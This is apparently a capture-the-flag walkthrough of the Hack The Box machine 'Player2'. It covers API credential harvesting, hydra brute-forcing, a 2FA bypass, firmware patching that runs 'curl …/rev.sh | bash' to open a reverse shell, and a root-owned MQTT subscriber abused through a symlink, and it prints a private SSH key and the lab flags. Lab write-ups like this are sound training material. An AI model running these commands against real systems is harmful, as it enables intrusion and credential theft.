Box Information
Name | Playertwo |
---|---|
IP | 10.10.10.170 |
OS | Linux |
Points | Insane(50) |
Recon
PORT | SERVICE | VERSION |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache httpd 2.4.29 |
8545 | http | ? |
Web - TCP 80
I couldn’t access the page from ip :/
- btw this is an image :D
I added player2.htb to /etc/hosts:
10.10.10.170 player2.htb
Directory/File fuzzing
$ gobuster dir -u http://player2.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://player2.htb
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/30 11:06:50 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index (Status: 200)
/index.php (Status: 200)
/mail (Status: 200)
/proto (Status: 301)
/server-status (Status: 403)
/src (Status: 301)
/vendor (Status: 301)
===============================================================
2020/06/30 11:07:13 Finished
===============================================================
- Nothing interesting (
/mail
redirects to/index
, others are forbidden)
Subdomain fuzzing
I used wfuzz
for subdomain enumeration with a common wordlist from the seclists repo.
$ wfuzz -c -u 'http://10.10.10.170' -H 'Host: FUZZ.player2.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hl 3
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.170/
Total requests: 114532
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000690: 400 12 L 53 W 442 Ch "gc._msdcs"
000002882: 200 235 L 532 W 5063 Ch "product"
000009543: 400 12 L 53 W 442 Ch "#www"
000010595: 400 12 L 53 W 442 Ch "#mail"
000011512: 200 3 L 14 W 102 Ch "i67" ^C
Finishing pending requests...
- There is an interesting one
product
!
I added product.player2.htb to my /etc/hosts
file:
10.10.10.170 player2.htb product.player2.htb
product.player2.htb - TCP 80
- This is a login form!
I tried to log in with asd:asd
:
- It’s just an alert window.
If I click Ok
it redirects to the login page.
Directory/File fuzzing
$ gobuster dir -u 'http://product.player2.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://product.player2.htb
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/30 11:28:11 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/api (Status: 301)
/assets (Status: 301)
/conn (Status: 200)
/home (Status: 302)
/images (Status: 301)
/index.php (Status: 200)
/index (Status: 200)
/mail (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/30 11:28:34 Finished
===============================================================
- There is a
/api
(apis are always interesting)!
I also fuzzed the api with several wordlists and directory-list-1.0.txt
returned /totp
which could be interesting.
$ gobuster dir -u http://product.player2.htb/api -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://product.player2.htb/api
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/30 17:33:09 Starting gobuster
===============================================================
/totp (Status: 200)
Progress: 22141 / 141709 (15.62%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/06/30 17:35:48 Finished
===============================================================
I ran curl on this but I didn’t get much.
$ curl http://product.player2.htb/api/totp
{"error":"Cannot GET \/"}
$ curl -X POST http://product.player2.htb/api/totp
{"error":"Invalid Session"}
TCP 8545
I used curl
and python’s json.tool
in order to pretify the json output.
$ curl http://10.10.10.170:8545 | python3 -m json.tool
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 95 0 95 0 0 1055 0 --:--:-- --:--:-- --:--:-- 1067
{
"code": "bad_route",
"msg": "no handler for path \"/\"",
"meta": {
"twirp_invalid_route": "GET /"
}
}
- This is some api
I searched for twirp and found its github page github.com/twitchtv/twirp. It’s twitch’s product btw.
Here is the official docs for twirp: twitchtv.github.io/twirp/docs/intro.html
Here is an example proto file: github.com/twitchtv/twirp/blob/master/example/service.proto
- I have to search for a .proto file on the box.
Fuzzing the .proto file
I used gobuster
on player2.htb/proto in order to discover all .proto files in the proto directory.
$ gobuster dir -u 'http://player2.htb/proto' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x proto
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://player2.htb/proto
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: proto
[+] Timeout: 10s
===============================================================
2020/06/30 12:03:45 Starting gobuster
===============================================================
[ERROR] 2020/06/30 12:10:50 [!] Get http://player2.htb/proto/medien: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/generated.proto (Status: 200)
Progress: 52222 / 220561 (23.68%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/06/30 12:16:18 Finished
===============================================================
Let’s see what’s inside :D
$ curl http://player2.htb/proto/generated.proto
syntax = "proto3";
package twirp.player2.auth;
option go_package = "auth";
service Auth {
rpc GenCreds(Number) returns (Creds);
}
message Number {
int32 count = 1; // must be > 0
}
message Creds {
int32 count = 1;
string name = 2;
string pass = 3;
}
According to the docs a req looks like this:
curl --request "POST" \
--location "http://localhost:8080/twirp/twirp.example.haberdasher.Haberdasher/MakeHat" \
--header "Content-Type:application/json" \
--data '{"inches": 10}' \
--verbose
And if I look up the example .proto file req is like:
curl --request "POST" \
--location "http://<host>:<port>/twirp/<package>.<service>/<rpc>" \
--header "Content-Type:application/json" \
--data '{"<key>": <value>}' \
--verbose
So I have everything that I need from the generated.proto file.
host | player2.htb |
---|---|
port | 8545 |
package | twirp.player2.auth |
service | Auth |
rpc | GenCreds |
key | Number |
value | 1 |
Getting the creds
My command:
curl --request "POST" \
--location "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" \
--header "Content-Type:application/json" \
--data '{"Number": 1}' \
--verbose
And it returns:
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.10.170:8545...
* TCP_NODELAY set
* Connected to player2.htb (10.10.10.170) port 8545 (#0)
> POST /twirp/twirp.player2.auth.Auth/GenCreds HTTP/1.1
> Host: player2.htb:8545
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Type:application/json
> Content-Length: 13
>
* upload completely sent off: 13 out of 13 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Host: player2.htb:8545
< Date: Tue, 30 Jun 2020 10:50:25 GMT
< Connection: close
< X-Powered-By: PHP/7.2.24-0ubuntu0.18.04.1
< Content-Type: application/json
<
* Closing connection 0
{"name":"snowscan","pass":"XHq7_WJTA?QD_?E2"}
There are the creds in the response!
I ran this curl command again and I got different results.
{"name":"jkr","pass":"ze+EKe-SGF^5uZQX"}
There are some passwords and usernames. But they are randomly changing.
I created an sh script to send this req 100 times and return the unique responses and store them in a file.
|
|
I ran it with sh getcreds.sh
and there is the creds.lst file which is 16 lines long btw.
|
|
I made a user.lst and a pws.lst file from these creds.
$ jq -r .name files/creds.lst | sort -u > files/users.lst
$ jq -r .pass files/creds.lst | sort -u > files/pws.lst
And the contents are:
0xdf
jkr
mprox
snowscan
Lp-+Q8umLW5*7qkc
tR@dQnwnZEk95*6#
XHq7_WJTA?QD_?E2
ze+EKe-SGF^5uZQX
Shell as www-data
Bruting ssh (nope)
I tried to brute ssh with the creds I had + hydra
.
$ hydra -L files/users.lst -P files/pws.lst ssh://player2.htb
- but no valid passwords found :(
Web login
http://product.player2.htb/
was the target.
-
I caught the request in order to know the exact parameter names used on the login form.
-
It’s a
POST
request -
Username parameter is
username
-
Password parameter is
password
-
Submit creds parameter is
Submit
and the value isSign+in
-
Failure string is
alert
I used hydra there too to brute the web login page
$ hydra -L files/users.lst -P files/pws.lst product.player2.htb http-post-form "/:username=^USER^&password=^PASS^&Submit=Sign+in:alert"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-30 13:50:25
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking http-post-form://product.player2.htb:80/:username=^USER^&password=^PASS^&Submit=Sign+in:alert
[80][http-post-form] host: product.player2.htb login: mprox password: tR@dQnwnZEk95*6#
[80][http-post-form] host: product.player2.htb login: 0xdf password: XHq7_WJTA?QD_?E2
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-30 13:50:27
- 2 of the creds are valid!
USERNAME | PASSWORD |
---|---|
mprox | tR@dQnwnZEk95*6# |
0xdf | XHq7_WJTA?QD_?E2 |
I tried to log in with but it also needed 2FA to be able to log in.
- I gave it
1234567890
and hit submit. I got the alertbox again.
Okay.. Let’s catch the request in burp :D
- There is a referer header in the request
product.player2.htb/totp
! But it redirects to/
(the login page) - I’ve already found an api endpoint on
product.player2.htb/api/totp
!
2FA OTP backup keys
$ curl http://product.player2.htb/api/totp
{"error":"Cannot GET \/"}
- It’s not a GET request
I tried with POST:
$ curl -X POST http://product.player2.htb/api/totp
{"error":"Invalid Session"}
- Other error!
- This means POST is good but it needs a valid session cookie to be set.
I logged in with the credentials of user mprox and copied the (Session) cookie.
Now, I tried to supply this cookie to curl:
$ curl -X POST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep'
{"error":"Invalid action"}
- Another different error!
It mentions invalid action so I gave it a post parameter named action
:
$ curl -X POST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep' -d '{ "action" : 123 }'
{"error":"Missing parameters"}
- Different error again so I’m on the good track!
It mentions missing parameters so I changed the action
key’s value from 123
to "asd"
- Same error
Maybe some fuzzing could help.
$ wfuzz -u http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep' -d '{ "action" : FUZZ }' -w /usr/share/seclists/Discovery/Web-Content/common.txt --hw 2
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://product.player2.htb/api/totp
Total requests: 4652
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000077: 200 0 L 1 W 40 Ch "0"
000004181: 200 0 L 1 W 40 Ch "true"
Total time: 38.47468
Processed Requests: 4652
Filtered Requests: 4650
Requests/sec.: 120.9106
- The errors were all 2 words so I filtered them with
--hw 2
and I got0
andtrue
.
If I feed 0
or true
as the action parameters value to curl I get the user’s 2FA code!
$ curl -X POST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=cleq78lkur6iprqqv1llu5cgep' -d '{ "action" : 0 }'
{"user":"mprox","code":"87685768223422"}
I supplied the code and I got logged in!
Protobs enum
Website
If you scroll down you can see a link to the Documentation
product.player2.htb/protobs.pdf local copy: protobs.pdf
protobs.pdf
It mentions how the uploaded firmware got checked by their system.
And there are 2 links in the bottom!
- Download the default firmware - product.player2.htb/protobs/protobs_firmware_v1.0.tar
- Firmware upload page - product.player2.htb/protobs/
If I upload the original firmware I got this response:
<script>alert("Verifying signature of the firmware")</script><script>alert("It looks legit. Proceeding for provision test");</script><script>alert("All checks passed. Firmware is ready for deployment.");window.location="/protobs/";</script>
If I upload some other file I got this:
- Internal server error
If I upload a random tar file I get this:
Firstly, I created a tar file:
$ echo "AYYYYOOOOO" > asd.txt
$ tar -cvf asd.tar asd.txt
<script>alert("Verifying signature of the firmware")</script><script>alert("Signature check failed. Stopping provision tests.");window.location="/protobs/";</script>
Analyzing the firmware
I downloaded the original firmware and extracted it with tar
.
$ tar -xvf protobs_firmware_v1.0.tar
info.txt
Protobs.bin
version
info.txt:
© Playe2 2019. All rights reserved.
This firmware package consists of files which are distributed under different license terms, in particular under Player2 proprietary license or under any Open Source License (namely GNU General Public License, GNU Lesser General Public License or FreeBSD License). The source code of those files distributed as Open Source are available on written request to mrr3boot@player2.htb.
Under all Player2 intellectual property rights, Player2 grants the non-exclusive right to personally use this Protobs firmware package which is delivered in object code format only. Licensee shall olny be entitled to make a copy exclusively reserved for personal backup purposes (backup copy). Player2 reserves all intellectual property rights except as expressly granted herein. Without the prior written approval of Player2 and except to the extent as may be expressly authorised under mandatory law, this Protobs firmware package in particular
- shall not be copied, distributed or otherwise made publicly available
- shall not be modified, disassembled, reverse engineered, decompiled or otherwise "be opened" in whole or in part, and insofar shall not be copied, distributed or otherwise made publicly available.
version:
FIRMWAREVERSION=122.01.14,,703021,
Protobs.bin:
I used file
and binwalk
to identify the filetype.
$ file Protobs.bin
Protobs.bin: data
- hmm no luck
Let’s try with binwalk
:
$ binwalk Protobs.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
- It contains an ELF from the 64th byte!
I also checked it with xxd
.
$ xxd Protobs.bin | head
00000000: 5641 7eb5 877e 1ef4 b1ea a18b c792 d494 VA~..~..........
00000010: 1c9c b8b3 1145 e0b7 30da 24d3 4799 19f3 .....E..0.$.G...
00000020: fbf2 5574 d1b1 3c53 b262 68f3 eb2a 49c5 ..Ut..<S.bh..*I.
00000030: 1b24 fe33 f51a fa3e b6b4 b905 610b cb03 .$.3...>....a...
00000040: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000050: 0200 3e00 0100 0000 f010 4000 0000 0000 ..>.......@.....
00000060: 4000 0000 0000 0000 303c 0000 0000 0000 @.......0<......
00000070: 0000 0000 4000 3800 0b00 4000 1c00 1b00 ....@.8...@.....
00000080: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000090: 4000 4000 0000 0000 4000 4000 0000 0000 @.@.....@.@.....
- As
binwalk
said the elf starts at 0x40 hex which is 64 dec.
Extracting the 2 parts of the .bin
I used dd
to extract the elf and the header file from Protobs.bin
$ dd if=Protobs.bin of=firmware.elf skip=64 bs=1
$ dd if=Protobs.bin of=firmware.header count=64 bs=1
And If I run file
on the extracted elf I get the proper output:
$ file firmware.elf
firmware.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82adae308a0023a272e626bbe83d97b2b9c630f6,
for GNU/Linux 3.2.0, not stripped
Let’s see what’s inside
I piped the output of xxd
to vim
.
$ xxd Protobs.bin | vim -
There are commands inside the elf part!
stty raw -echo min 0 time 10
stty sane
Upload the repacked firmware
I just use tar
to repack the files into 1 archive.
$ tar zcf original.tar info.txt Protobs.bin version
- Still good
Pimping the firmware to get an RCE
Maybe I can just replace the command with a revshell to get access to the box.
I used hexeditor
in order to change the inside of the Protobs.bin
file.
$ hexeditor Protobs.bin
- I searched for stty by hitting
<ctrl>+w
- I hit tab to go to the ascii editor part(right side)
And then I replaced the stty command with ping -c 1 10.10.14.133
and I filled the space with some junk ; echo "ayyyyyy"
.
I hit <ctrl>+x
to save and exit.
I packed the file with tar
:
$ tar zcf pimped.tar info.txt Protobs.bin version
And I uploaded it. While I was listening on tun0 with tcpdump
for icmp packages(ping).
$ sudo tcpdump -i tun0 icmp
- It’s legit!
And when I went back to my terminal I saw the ping!
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
20:35:58.194477 IP player2.htb > 10.10.14.133: ICMP echo request, id 40292, seq 1, length 64
20:35:58.194544 IP 10.10.14.133 > player2.htb: ICMP echo reply, id 40292, seq 1, length 64
Getting a revshell
I have a limited space to get the revshell so I made a rev.sh
file on my local drive and I started hosting it with python -m http.server 80
.
|
|
I modified the Protobs.bin file’s command to curl 10.10.14.133/rev.sh | bash
I packed the tar:
$ tar zcf pimped.tar info.txt Protobs.bin version
And uploaded it while I shared the directory where the rev.sh was and I listened on port 443 for a connection with sudo nc -lvnp 443
- I got a reverse shell as
www-data
!
Privilege Escalation from www-data
I upgraded my shell to a tty and set the TERM envvar in order to get a proper working shell.
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
I ran linpeas to find the possible privesc vectors.
Interesting lines
Processes:
mosquit+ 1137 0.0 0.2 48024 5792 ? S 04:40 0:19 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf
root 36450 0.0 0.2 24864 5028 ? S 16:21 0:00 mosquitto_sub -v -t $SYS/#
www-data 33601 0.0 0.2 24864 5040 ? S 14:58 0:01 mosquitto_sub -v -t $SYS/#
Ports:
tcp 0 0 127.0.0.1:1883 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1883 127.0.0.1:35244 ESTABLISHED -
tcp 0 0 127.0.0.1:58488 127.0.0.1:1883 ESTABLISHED 33601/mosquitto_sub
tcp 0 0 127.0.0.1:35244 127.0.0.1:1883 ESTABLISHED -
tcp 0 0 127.0.0.1:1883 127.0.0.1:58488 ESTABLISHED -
Users:
|
|
Mosquitto.conf:
Found readable /etc/init/mosquitto.conf
description "Mosquitto MQTT broker"
start on net-device-up
respawn
exec /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf
Found readable /etc/mosquitto/mosquitto.conf
pid_file /var/run/mosquitto.pid
persistence true
persistence_location /var/lib/mosquitto/
log_dest file /var/log/mosquitto/mosquitto.log
bind_address 127.0.0.1
include_dir /etc/mosquitto/conf.d
Exploiting mosquitto
I found mosquitto_sub
’s man page and there is an example line on how to subscribe to all broker status messages.
mosquitto_sub -v -t \$SYS/#
I just added an ip(localhost) and the port(1883).
mosquitto_sub -v -t '$SYS/#' -h 127.0.0.1 -p 1883
- I waited some time and it printed out a private ssh key.
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA
R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4
et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT
+kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz
SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE
+UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd
62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN
wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D
62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO
91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC
gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y
QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f
llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos
JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3
JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt
ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP
QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T
pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4
hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf
PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI
NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt
uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M
zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK
/1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz
iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g==
-----END RSA PRIVATE KEY-----
I loged into ssh as observer
with the key I got
$ ssh -i files/id_rsa observer@player2.htb
- I successfully logged in without any password
$ id
uid=1000(observer) gid=1000(observer) groups=1000(observer)
I also have access to user.txt:
$ cat /home/observer/user.txt
CDE09DC7E49C92C78ECAC1535E241251
Privilege Escalation from observer
Mosquitto runs as root and it prints observer’s ~/.ssh/id_rsa
file so if I change it to a symbolic link of /root/root.txt
I could get the root flag.
$ mv /home/observer/.ssh/id_rsa /home/observer/.ssh/id_rsa.bak
$ ln -s /root/root.txt /home/observer/.ssh/id_rsa
$ mosquitto_sub -t '$SYS/#' -h 127.0.0.1 -p 1883
After some time I got the root flag:
73DAEF0B9D5A1328C6B40460E2A7D8C5